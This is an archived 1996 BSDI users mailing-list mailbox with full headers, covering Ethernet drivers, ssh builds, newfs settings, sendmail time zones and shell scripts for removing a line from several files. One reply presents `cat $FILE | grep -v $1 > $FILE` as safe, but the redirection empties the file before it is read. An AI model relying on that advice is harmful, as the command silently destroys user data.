"thom@esva.net" nil "17" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA10822 for ; Wed, 20 Nov 1996 16:57:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA17976 for bsdi-users-outgoing; Wed, 20 Nov 1996 16:48:14 -0500 (EST) Path: vixen.cso.uiuc.edu!newsfeed.internetmci.com!news1.mnsinc.com!news.esva.net!server.esva.net!thom Newsgroups: info.bsdi.users Organization: The Eastern Shore of Virginia Network Lines: 13 Message-ID: References: NNTP-Posting-Host: server.esva.net Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII In-Reply-To: X-MDMail-Server: MDaemon v2.0 rR b1 16 Precedence: bulk From: Thom Henderson Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: Re: Dual Homing w/BSDI or 25xx? Date: Wed, 20 Nov 1996 09:46:28 -0500 On 18 Nov 1996, Ross Wheeler wrote: > I've a BSDI box running on a DX4/100/32Mb, supporting routing, 40 dialin, > DNS, WWW (about 25K hits/day), ftp, mail, dozen or so virtuals, and a > host of other things, currently at 78 days uptime (interrupted for a > hardware upgrade), before that up for 67 days (interrupted for a > relocation) and prior to that, up for 130 days (interrupted by a UPS > failure).... It hasn't spontaneously rebooted (ever) and the times it > has required a re-boot have been due to external factors, not the OS. You see? There's the problem right there. A truly robust operating system should not be vulnerable to external influences like a UPS failure. From VM Wed Nov 20 22:27:38 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["926" "Wed" "20" "November" "1996" "13:47:25" "-0800" "Stephen Roderick" "steve@proaxis.com" nil "21" "Re: ssh on BSDI 2.1?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA10826 for ; Wed, 20 Nov 1996 16:58:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA17975 for bsdi-users-outgoing; Wed, 20 Nov 1996 16:48:14 -0500 (EST) In-Reply-To: <1.5.4.32.19961120191156.002f4244@mailhub.hcl.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Stephen Roderick Sender: owner-bsdi-users@lists.gateway.com To: Mike Frisch cc: bsdi-users@BSDI.COM Subject: Re: ssh on BSDI 2.1? Date: Wed, 20 Nov 1996 13:47:25 -0800 (PST) On Wed, 20 Nov 1996, Mike Frisch wrote: > I am looking for a precompiled binary of ssh on BSDI 2.1. They > claim support for earlier versions of BSDI, but it doesn't compile cleanly > on 2.1 because of some files not being adjusted properly by the > configuration scripts. I don't have time to make it work right now, but I'd > really like to utilize ssh. If anybody can help, I'd greatly appreciate it. I have sent a copy that compiles under 2.1 (version 1.2.13) to Mike in a separate message. It is the full source plus the compiled binaries (I deleted the .o files). It is ~900k with the binaries. If anyone else is interested in this let me know and I can forward a copy to you. Steve --- Steve Roderick ProAxis Communications, Inc. steve@proaxis.com Internet Access Provider (541) 757-0248 From VM Wed Nov 20 22:27:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3320" "Wed" "20" "November" "1996" "14:57:55" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "74" "Re: 100Mb Ethernet Woes. " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA10830 for ; Wed, 20 Nov 1996 16:58:38 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA18050 for bsdi-users-outgoing; Wed, 20 Nov 1996 16:58:13 -0500 (EST) Message-Id: <199611202157.OAA10687@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Wed, 20 Nov 1996 12:24:39 PST." <3.0.1.32.19961120122437.00a045c8@popgw.firstdata.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: Kent Ketell cc: Brad Senff , bsdi-users@BSDI.COM Subject: Re: 100Mb Ethernet Woes. Date: Wed, 20 Nov 1996 14:57:55 -0700 Kent Ketell writes: >At 10:55 AM 11/20/96 -0700, Bill Nestlerode wrote: >>Kent Ketell writes: >>>At 05:23 PM 11/19/96 -0700, Bill Nestlerode wrote: >>>>Brad Senff writes: >>>>> >>>>> Well, I am trying to make the jump, from 10Mb to 100Mb. I have >>>>>gone through all kinds of problems finding the right cards, been thru the >>>>>"yeah the 3com 3c905 is IDENTICAL to the 3c595" routine (fyi, it is NOT), >>>>>been thru the "Nope, can't get those 3c595's anymore" routine, even tried >>>>>the SMC's listed in the ol' BSDi manual. No luck. No matter what I did I >>>>>couldn't get them to recognize. Finally, I tried the DEC DE500. I can get >>>>>it to recognize, right out of the box. I checked dmesg, and all is well. >>>>>However when I try to get out of the box it fails. The computer is linked >>>>>to a 100Mb ethernet HUB, (Compex 1208TX). I know the hub and the downlink >>>>>to my 10Mb ethernet is fine, because when I went down the road of the >>>>>3c905's, they would work temporarily, then if the buffer filled, it would >>>>>lock. >>>>> >>>>> I saw in the archive that the de500 requires you to choose the >>>>>WRONG type of ethernet when doing the config_netstart, so I tried that, no >>>>>such luck. No matter what I do, it seems that the bsdi 2.1 boxes do not >>>>>like 100Mbit. >>>>> >>>>> So, if any of you out there has a de500 in a box working great (at >>>>>100Mbit, hell even at 10Mbit at this point) please forward me a copy of >>>>>your dmesg, and netstart files, and any wisdom you may have relating to >>>>>the above. >>>>> >>>>>-a very frustrated person who believes that 100Mbit is a myth- >>>>> >>>>>================================================================== >>>>>== Brad Senff brad@inficad.com == >>>>>== System Administrator Check out the web site: == >>>>>== Inficad Computing and Design http://www.inficad.com == >>>>>== "Ignorance is the art of not recalling the information == >>>>>== you have not learned yet." == >>>>>================================================================== >>>>> >>>>Brad: >>>>Patch U210-003 fixes config_netstart so that you don't have to choose the >>>>WRONG type of ethernet. You might also want to install K210-023, and >build a >>>>new kernel. It brings the de500 driver up-to-date. >>>> >>> >>>Watch out for this patch. I installed it on my systems and it caused >>>all sorts of stalls and problems. These problems are apparently due >>>to so misalignments being generated by other systems (routers, not >>>fixable by me), but the patched driver would not forgive them at all. >>> >>These are debugging level messages. The driver is just reporting what it >sees, >>not causing errors. I think the de driver in 3.0 will be quiter. >> > >I understand that the messages themselves are informational only, but >the system often came to a complete halt, network-wise as a result of >whatever caused them. > >For instance: ftp-ing a file from my popserver, where I had installed >the patch, to my firewall, where I had not never completed. It was only >a 2K+ file. Once I had backed out the patch the ftp was pretty much >instant. > >The culprits generating the errors are both routers, so I can't do much >about them. > I had heard about problems this severe. -Bill N From VM Wed Nov 20 22:27:40 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["232" "Wed" "20" "November" "1996" "14:44:08" "-0700" "Edwin C. Philips" "edwin@tcs.tcsourceone.com" nil "9" "ftp ls attributes" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA10837 for ; Wed, 20 Nov 1996 17:06:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA18075 for bsdi-users-outgoing; Wed, 20 Nov 1996 17:03:11 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Edwin C. Philips" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: ftp ls attributes Date: Wed, 20 Nov 1996 14:44:08 -0700 (MST) At present when I ftp to my system and login as a bonafide user, the ls command appears to be defaulting to ls -alf is it possible to change it to be ls -lf, so it won't show the .files? Edwin C. Philips edwin@tcsourceone.com From VM Wed Nov 20 22:27:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["640" "Wed" "20" "November" "1996" "17:09:10" "-0600" "Orlando Alberto Furlan Artiga" "furlan@ibw.com.ni" nil "26" "From Front Page to Apache Publishing" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA12756 for ; Wed, 20 Nov 1996 18:09:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA18216 for bsdi-users-outgoing; Wed, 20 Nov 1996 18:00:51 -0500 (EST) Message-ID: <32938F96.3E59@ibw.com.ni> Reply-To: furlan@ibw.com.ni Organization: IBW Communications X-Mailer: Mozilla 3.0 (Win95; I) MIME-Version: 1.0 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Orlando Alberto Furlan Artiga Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: From Front Page to Apache Publishing Date: Wed, 20 Nov 1996 17:09:10 -0600 Hi ! I would like to know what are the changes I need to make in order to publish from Front Page to Apache in both the server and the client ? Is possible www.name.dom/~user edit your own pages with this method ? Thanks for this help in advance, Greetings from Nicaragua, -- / \ // \\ /// \\\ /// \\\ \\\ ||||| /// Orlando Furlan \\\\ \-/ //// IBW Communications \\\\ \-/ //// mailto:furlan@ibw.com.ni \\\\\\-////// \\\\\-///// \\\-/// \-/ \-/ - | From VM Wed Nov 20 22:27:49 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["273" "Wed" "20" "November" "1996" "18:35:27" "EST" "BSD information" "mirage!bsd@uucp-1.csn.net" nil "11" "Re: SCO Emulation" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA14376 for ; Wed, 20 Nov 1996 19:15:47 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA18437 for bsdi-users-outgoing; Wed, 20 Nov 1996 19:13:28 -0500 (EST) Message-Id: <9611202335.AA29587@mirage> In-Reply-To: ; from "JEFFREY ANDREW CAMPBELL" at Nov 20, 96 12:57 pm X-Mailer: ELM [version 2.3 PL0] Precedence: bulk From: mirage!bsd@uucp-1.csn.net (BSD information) Sender: owner-bsdi-users@lists.gateway.com To: jeffreyc@ug.cs.dal.ca (JEFFREY ANDREW CAMPBELL) Cc: bsdi-users@lists.gateway.com (BSD mailing list) Subject: Re: SCO Emulation Date: Wed, 20 Nov 96 18:35:27 EST JEFFREY ANDREW CAMPBELL writes: > > Has anyone out there had any experience (or preferably extensive > experience) using a BSD/OS box to support legacy SCO apps under the SCO > emulation support? > I have used it to support the SCO version of WP-5.1, no problem. Al From VM Wed Nov 20 22:27:50 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["697" "Wed" "20" "November" "1996" "09:46:28" "-0500" "Thom Henderson" "thom@esva.net" nil "19" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA15179 for ; Wed, 20 Nov 1996 19:41:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA18518 for bsdi-users-outgoing; Wed, 20 Nov 1996 19:39:45 -0500 (EST) Path: vixen.cso.uiuc.edu!newsfeed.internetmci.com!news1.mnsinc.com!news.esva.net!server.esva.net!thom Newsgroups: info.bsdi.users Organization: The Eastern Shore of Virginia Network Lines: 13 Message-ID: References: NNTP-Posting-Host: server.esva.net Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII In-Reply-To: X-MDMail-Server: MDaemon v2.0 rR b1 16 Precedence: bulk From: Thom Henderson Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: Re: Dual Homing w/BSDI or 25xx? Date: Wed, 20 Nov 1996 09:46:28 -0500 On 18 Nov 1996, Ross Wheeler wrote: > I've a BSDI box running on a DX4/100/32Mb, supporting routing, 40 dialin, > DNS, WWW (about 25K hits/day), ftp, mail, dozen or so virtuals, and a > host of other things, currently at 78 days uptime (interrupted for a > hardware upgrade), before that up for 67 days (interrupted for a > relocation) and prior to that, up for 130 days (interrupted by a UPS > failure).... It hasn't spontaneously rebooted (ever) and the times it > has required a re-boot have been due to external factors, not the OS. You see? There's the problem right there. A truly robust operating system should not be vulnerable to external influences like a UPS failure. From VM Wed Nov 20 22:27:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["269" "" "21" "November" "1996" "01:14:13" "GMT" "cesar@voyager.co.nz" "cesar@voyager.co.nz" nil "14" "Newfs for a SCSI Quantum fireball 1080S" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA16256 for ; Wed, 20 Nov 1996 20:25:40 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA18647 for bsdi-users-outgoing; Wed, 20 Nov 1996 20:14:47 -0500 (EST) Path: news Newsgroups: info.bsdi.users Organization: OzEmail Ltd - Australia Lines: 13 Message-ID: <01bbd6e4$36a82f60$081815cb@ii.net.voyager.co.nz> NNTP-Posting-Host: 203.21.24.8 X-Newsreader: Microsoft Internet News 4.70.1155 Precedence: bulk From: "cesar" Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: Newfs for a SCSI Quantum fireball 1080S Date: 21 Nov 1996 01:14:13 GMT Hi' all, I am trying to format a 2.1 Gb.SCSI Quantum Fireball 1080s into one partition. Using newfs command, can anyone please tell me the optimum configuration for block and fragment size, number of inode's for that particular drive???? Thank you very much... From VM Wed Nov 20 22:27:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1016" "Wed" "20" "November" "1996" "20:33:24" "-0800" "Gary N. McKinney" "gmckinney@megabits.net" nil "23" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA16527 for ; Wed, 20 Nov 1996 20:34:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA18764 for bsdi-users-outgoing; Wed, 20 Nov 1996 20:34:07 -0500 (EST) Message-ID: <3293DB93.6E8B@megabits.net> Reply-To: gmckinney@megabits.net Organization: MegaBits Computers, Inc. X-Mailer: Mozilla 3.01Gold (Win16; U) MIME-Version: 1.0 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: "Gary N. McKinney" Sender: owner-bsdi-users@lists.gateway.com To: Thom Henderson CC: bsdi-users@BSDI.COM Subject: Re: Dual Homing w/BSDI or 25xx? Date: Wed, 20 Nov 1996 20:33:24 -0800 Thom Henderson wrote: > > On 18 Nov 1996, Ross Wheeler wrote: > > > I've a BSDI box running on a DX4/100/32Mb, supporting routing, 40 dialin, > > DNS, WWW (about 25K hits/day), ftp, mail, dozen or so virtuals, and a > > host of other things, currently at 78 days uptime (interrupted for a > > hardware upgrade), before that up for 67 days (interrupted for a > > relocation) and prior to that, up for 130 days (interrupted by a UPS > > failure).... It hasn't spontaneously rebooted (ever) and the times it > > has required a re-boot have been due to external factors, not the OS. > > You see? There's the problem right there. A truly robust operating > system should not be vulnerable to external influences like a UPS failure. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ OK - I'll bite ... How DO you keep any router from rebooting WHEN ALL power has dropped (inclusive of UPS, Batteries, pink bunnys or whatever ) ??? ( Inquiring minds want to know )... gm... From VM Wed Nov 20 22:27:53 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1147" "Wed" "20" "November" "1996" "11:59:46" "-0400" "Jeff Campbell" "jacampbe@is2.dal.ca" nil "38" "Re: An easy way to remove a line from a file." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA16532 for ; Wed, 20 Nov 1996 20:37:13 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA18795 for bsdi-users-outgoing; Wed, 20 Nov 1996 20:38:49 -0500 (EST) In-Reply-To: <199611200122.UAA06279@infomine.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jeff Campbell Sender: owner-bsdi-users@lists.gateway.com To: mazz cc: bsdi-users@BSDI.COM Subject: Re: An easy way to remove a line from a file. Date: Wed, 20 Nov 1996 11:59:46 -0400 (AST) On Tue, 19 Nov 1996, mazz wrote: > Guys & Gals, > > I'm looking for an easy way (hopefully a little c-shell command) that can be used to remove a line from a file. I keep a list of user names in a few different files. When I remove a user from my file setup I want to remove them from 2-3 different files. There's got to be an easy command or simple shell script that I can pass an email address to and it'll remove those users from all three files. Off the top of my head, try: #!/bin/sh path="/tmp" filelist="/path/of/text/file/containing/filelist" # For each file in the text file containing the list of all affected files: # Show me everything in the file EXCEPT the first string after the command # IE ./command.sh jac@is2.dal.ca would remove that address from all text # files listed in $filelist (one file per line, with full path) # Spit the file sans address in question into /tmp for file in `cat filelist` do grep -v $1 $file > $path/temp.file # Move the file from /tmp over top of the original file mv $path/temp.file $file echo -n $file "has been updated.\n" done -- How did I do? -- Jeff jacampbe@is2.dal.ca From VM Wed Nov 20 22:27:54 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["788" "Wed" "20" "November" "1996" "12:03:18" "-0400" "Jeff Campbell" "jacampbe@is2.dal.ca" nil "21" "Re: ttys & gettytab" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA16537 for ; Wed, 20 Nov 1996 20:39:19 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA18789 for bsdi-users-outgoing; Wed, 20 Nov 1996 20:38:35 -0500 (EST) In-Reply-To: <323E1C96.3401@eoe-magical.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jeff Campbell Sender: owner-bsdi-users@lists.gateway.com To: Donald Dahlman cc: bsdi-users@BSDI.COM Subject: Re: ttys & gettytab Date: Wed, 20 Nov 1996 12:03:18 -0400 (AST) On Mon, 16 Sep 1996, Donald Dahlman wrote: > Well I have tried many a thing, changing the ttys, and gettytab > and still cannot get modems to work correctly. > Unless I change the remote tty01, the gettytab default, and the > ttys tty01 to all the same thing, I can not establish communication. > Am I missing something here, I even changed the modem on com port #2 > to a different type, and the problem contiunes. Any one want to > donate a ttys, gettytab, and remote the is using a standard com port 2. > Thanks. Not sure how applicable this is, but I fought with a modem on Com 2 for two days last year, only to discover there was a faulty pin on the connector inside the case that was causing sporadic behviour. Try replacing the MB to port cable. -- Jeff jacampbe@is2.dal.ca From VM Wed Nov 20 22:27:54 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["322" "Wed" "20" "November" "1996" "20:12:12" "-0600" "asiegel@txis.net" "asiegel@txis.net" nil "9" "secure servers" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA17071 for ; Wed, 20 Nov 1996 20:59:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA18851 for bsdi-users-outgoing; Wed, 20 Nov 1996 20:56:59 -0500 (EST) Message-Id: <199611210212.UAA07756@ns.txis.net> X-Sender: asiegel@mail.txis.net X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: asiegel@txis.net Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: secure servers Date: Wed, 20 Nov 1996 20:12:12 -0600 (CST) I would like to know what experience some of you have had with stronghold's apache software. They have a secure site upgrade I've been looking at, but because of their service, I'm a little hesitant to buy. Anyone know any other good software to do secure encoding for the web? (Not just e-mail.) Aaron Siegel txis.net From VM Wed Nov 20 22:27:55 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1775" "Thu" "21" "November" "1996" "13:16:02" "+1100" "Ross Wheeler" "rossw@albury.net.au" nil "56" "Re: An easy way to remove a line from a file." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA17612 for ; Wed, 20 Nov 1996 21:18:58 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA18907 for bsdi-users-outgoing; Wed, 20 Nov 1996 21:19:52 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ross Wheeler Sender: owner-bsdi-users@lists.gateway.com To: Jeff Campbell cc: mazz , bsdi-users@BSDI.COM Subject: Re: An easy way to remove a line from a file. Date: Thu, 21 Nov 1996 13:16:02 +1100 (EST) >> I'm looking for an easy way (hopefully a little c-shell command) >> that can be used to remove a line from a file. I keep a list of user >> names in a few different files. When I remove a user from my file setup >> I want to remove them from 2-3 different files. There's got to be an >> easy command or simple shell script that I can pass an email address to >> and it'll remove those users from all three files. > > Off the top of my head, try: > > #!/bin/sh > path="/tmp" > filelist="/path/of/text/file/containing/filelist" [stuff deleted] > for file in `cat filelist` > do > grep -v $1 $file > $path/temp.file > > # Move the file from /tmp over top of the original file > mv $path/temp.file $file > echo -n $file "has been updated.\n" > done Excuse my ignorance, and I know "purists" hate unnecessary pipes, but I've seen several replies now with the: scan original file extract non-required line(s) write temp file rename temp file to original file What's wrong with using a pipe to write something like: for FILE in `cat filelist` do cat $FILE | grep -v $1 > $FILE echo File $FILE done. done If you were writing to /tmp anyhow, it's not like the pipe is going to fill up anywhere more critical, and (in my opinion) it's more easily read! NOTE: I have not tried this particular example, but the pipe "should" protect the original file from being overwritten (lost) before the grep runs, yes? It also prevents the disasterous situation of two people running your script on different sessions at the same time, thus clobbering the tmp file, because the pipe will write a unique intermediate name. Pitty if they both happen to be working on the same file at the same time though :-) Comments? RossW From VM Wed Nov 20 22:27:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["457" "Wed" "20" "November" "1996" "16:28:16" "-1000" "Sherwood Pekelo" "spekelo@iav.com" nil "26" "Re: Sendmail timestamp" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA17881 for ; Wed, 20 Nov 1996 21:23:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA18934 for bsdi-users-outgoing; Wed, 20 Nov 1996 21:25:51 -0500 (EST) In-Reply-To: <01BBD3D8.D3E7C880@ray> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sherwood Pekelo Sender: owner-bsdi-users@lists.gateway.com To: Raymond Jolin cc: "'BSDI Users'" Subject: Re: Sendmail timestamp Date: Wed, 20 Nov 1996 16:28:16 -1000 (HST) On Sat, 16 Nov 1996, Raymond Jolin wrote: > Hi > I recently applied all the patches to my BSDI 2.1 mail server and > now the timestamp message received is off -6 hours. My system time is > correct CST How do I fix this. > > Thanks > Ray > uhm, bpatch tz (minutes offset) BSD 2.1 Manual p156 and double, triple check that the DAY is correct...I forgot and added an extra day by mistake. Hope this helps you... -- Aloha from Paradise, Sherwood From VM Wed Nov 20 22:27:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["959" "Wed" "20" "November" "1996" "18:33:11" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "29" "Re: Newfs for a SCSI Quantum fireball 1080S" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA18156 for ; Wed, 20 Nov 1996 21:40:36 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA18951 for bsdi-users-outgoing; Wed, 20 Nov 1996 21:39:25 -0500 (EST) Message-Id: <199611210233.SAA07931@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: cesar@voyager.co.nz, info-bsdi-users@uunet.uu.net Subject: Re: Newfs for a SCSI Quantum fireball 1080S Date: Wed, 20 Nov 1996 18:33:11 -0800 (PST) > > I am trying to format a 2.1 Gb.SCSI Quantum Fireball 1080s into one > partition. > > Using newfs command, can anyone please tell me the optimum configuration > for block and fragment size, number of inode's for that particular > drive???? > Its more how you want to use it than the drive specifics. If you are putting lots of small files onto the drive then go with a 512byte fragement size and lots of inodes. If you are putting huge datafiles put large blocks size and not many inodes. If you have something in-between use the defaults or look at a drive with similar use to what you are planning and use df and/or fsck to determine the number of files and their sizes. Typically I just use the defaults for newfs unless I have a good reason to change it. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Wed Nov 20 22:27:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["699" "Wed" "20" "November" "1996" "09:46:28" "-0500" "Thom Henderson" "thom@esva.net" nil "21" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA18424 for ; Wed, 20 Nov 1996 21:43:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA18978 for bsdi-users-outgoing; Wed, 20 Nov 1996 21:46:53 -0500 (EST) Path: vixen.cso.uiuc.edu!newsfeed.internetmci.com!news1.mnsinc.com!news.esva.net!server.esva.net!thom Newsgroups: info.bsdi.users Organization: The Eastern Shore of Virginia Network Lines: 13 Message-ID: References: NNTP-Posting-Host: server.esva.net Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII In-Reply-To: X-MDMail-Server: MDaemon v2.0 rR b1 16 Precedence: bulk From: Thom Henderson Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: Re: Dual Homing w/BSDI or 25xx? Date: Wed, 20 Nov 1996 09:46:28 -0500 On 18 Nov 1996, Ross Wheeler wrote: > I've a BSDI box running on a DX4/100/32Mb, supporting routing, 40 dialin, > DNS, WWW (about 25K hits/day), ftp, mail, dozen or so virtuals, and a > host of other things, currently at 78 days uptime (interrupted for a > hardware upgrade), before that up for 67 days (interrupted for a > relocation) and prior to that, up for 130 days (interrupted by a UPS > failure).... It hasn't spontaneously rebooted (ever) and the times it > has required a re-boot have been due to external factors, not the OS. You see? There's the problem right there. A truly robust operating system should not be vulnerable to external influences like a UPS failure. From VM Wed Nov 20 22:27:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1891" "Wed" "20" "November" "1996" "18:56:24" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "57" "Re: An easy way to remove a line from a file." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA18696 for ; Wed, 20 Nov 1996 21:54:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA19005 for bsdi-users-outgoing; Wed, 20 Nov 1996 21:56:56 -0500 (EST) Message-Id: <3.0.1.32.19961120185501.006b16e8@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: Jeff Campbell Cc: mazz , bsdi-users@BSDI.COM Subject: Re: An easy way to remove a line from a file. Date: Wed, 20 Nov 1996 18:56:24 -0800 At 11:59 AM 11/20/96 -0400, Jeff Campbell wrote: >On Tue, 19 Nov 1996, mazz wrote: > >> Guys & Gals, >> >> I'm looking for an easy way (hopefully a little c-shell command) that can be used to remove a line from a file. I keep a list of user names in a few different files. When I remove a user from my file setup I want to remove them from 2-3 different files. There's got to be an easy command or simple shell script that I can pass an email address to and it'll remove those users from all three files. > > Off the top of my head, try: > >#!/bin/sh > >path="/tmp" >filelist="/path/of/text/file/containing/filelist" > ># For each file in the text file containing the list of all affected files: ># Show me everything in the file EXCEPT the first string after the command ># IE ./command.sh jac@is2.dal.ca would remove that address from all text ># files listed in $filelist (one file per line, with full path) ># Spit the file sans address in question into /tmp > >for file in `cat filelist` > do > grep -v $1 $file > $path/temp.file > > # Move the file from /tmp over top of the original file > mv $path/temp.file $file 